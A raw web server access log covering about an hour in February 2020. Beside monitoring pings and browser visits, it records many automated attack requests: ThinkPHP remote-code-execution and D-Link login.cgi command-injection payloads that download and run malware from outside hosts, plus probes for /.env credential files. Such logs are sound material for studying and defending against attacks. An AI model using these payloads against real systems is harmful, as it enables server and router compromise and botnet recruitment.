112.72.215.153 - - [01/Feb/2020:08:23:21 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://packetsbins.000webhostapp.com/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:08:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:25:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.17.255.206 - - [01/Feb/2020:08:26:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:26:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.155.167.105 - - [01/Feb/2020:08:26:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:27:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:28:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:29:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.89.108 - - [01/Feb/2020:08:29:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
36.109.16.92 - - [01/Feb/2020:08:29:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.71.67.91 - - [01/Feb/2020:08:30:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:30:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.77.25.17 - - [01/Feb/2020:08:30:45 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
18.139.161.34 - - [01/Feb/2020:08:31:04 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:31:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
85.105.109.250 - - [01/Feb/2020:08:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [01/Feb/2020:08:32:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:33:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.86.52 - - [01/Feb/2020:08:34:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:34:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:35:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
73.33.112.155 - - [01/Feb/2020:08:36:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:36:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.130.159.46 - - [01/Feb/2020:08:37:05 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:37:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
202.5.36.49 - - [01/Feb/2020:08:37:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:08:38:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.86.114 - - [01/Feb/2020:08:39:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:39:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:40:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.69.64.250 - - [01/Feb/2020:08:40:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:41:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.114.60.121 - - [01/Feb/2020:08:42:05 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:05 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:06 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:06 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:07 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:07 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:08 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:08 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
122.114.60.121 - - [01/Feb/2020:08:42:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [01/Feb/2020:08:42:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:43:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
13.229.135.39 - - [01/Feb/2020:08:44:01 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
176.58.138.139 - - [01/Feb/2020:08:44:12 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:08:44:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.51.6.7 - - [01/Feb/2020:08:45:26 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:45:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.228.24.3 - - [01/Feb/2020:08:46:05 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:46:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
114.166.196.2 - - [01/Feb/2020:08:47:39 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:08:47:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
95.58.74.35 - - [01/Feb/2020:08:48:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:48:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.231.131.5 - - [01/Feb/2020:08:49:02 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
13.57.32.25 - - [01/Feb/2020:08:49:12 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
149.90.16.155 - - [01/Feb/2020:08:49:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:49:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:50:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:51:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.151.180 - - [01/Feb/2020:08:52:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:08:52:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:53:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.231.131.5 - - [01/Feb/2020:08:53:55 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
72.27.90.6 - - [01/Feb/2020:08:54:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:08:54:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.164.161 - - [01/Feb/2020:08:55:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
18.195.154.46 - - [01/Feb/2020:08:55:18 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:08:55:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
187.12.151.162 - - [01/Feb/2020:08:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
1.54.47.215 - - [01/Feb/2020:08:55:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
196.201.226.31 - - [01/Feb/2020:08:56:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [01/Feb/2020:08:56:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:57:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:58:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:08:59:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:00:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.26.222 - - [01/Feb/2020:09:01:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:01:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:02:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.104.117.144 - - [01/Feb/2020:09:02:52 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
183.81.64.49 - - [01/Feb/2020:09:03:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.133.29.214 - - [01/Feb/2020:09:03:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:03:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
118.19.236.108 - - [01/Feb/2020:09:03:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
212.91.246.72 - - [01/Feb/2020:09:04:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
46.176.82.86 - - [01/Feb/2020:09:04:55 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
1.53.122.183 - - [01/Feb/2020:09:05:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:05:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
200.37.54.4 - - [01/Feb/2020:09:06:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:06:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:07:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.119.115.86 - - [01/Feb/2020:09:08:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:08:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.12.251.38 - - [01/Feb/2020:09:09:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
203.220.181.49 - - [01/Feb/2020:09:09:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
35.182.252.188 - - [01/Feb/2020:09:10:06 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:10:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:11:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.107.76.18 - - [01/Feb/2020:09:12:09 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
212.91.246.72 - - [01/Feb/2020:09:12:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
122.232.222.184 - - [01/Feb/2020:09:13:15 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:13:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:14:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:15:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
15.164.50.60 - - [01/Feb/2020:09:16:40 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:16:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.80.240.227 - - [01/Feb/2020:09:17:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:17:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.51.247.88 - - [01/Feb/2020:09:18:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.89.163 - - [01/Feb/2020:09:18:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:18:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:19:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.251.148.54 - - [01/Feb/2020:09:20:37 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:20:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [01/Feb/2020:09:21:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.219.128.39 - - [01/Feb/2020:09:22:17 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
212.91.246.72 - - [01/Feb/2020:09:22:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.113.133.175 - - [01/Feb/2020:09:22:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:23:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
18.185.17.89 - - [01/Feb/2020:09:23:42 +0100] "GET /.env HTTP/1.1" 404 309 "-" "curl/7.47.0"
1.52.220.75 - - [01/Feb/2020:09:23:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
185.174.17.242 - - [01/Feb/2020:09:23:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
45.234.19.30 - - [01/Feb/2020:09:24:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
187.155.167.105 - - [01/Feb/2020:09:24:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [01/Feb/2020:09:24:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
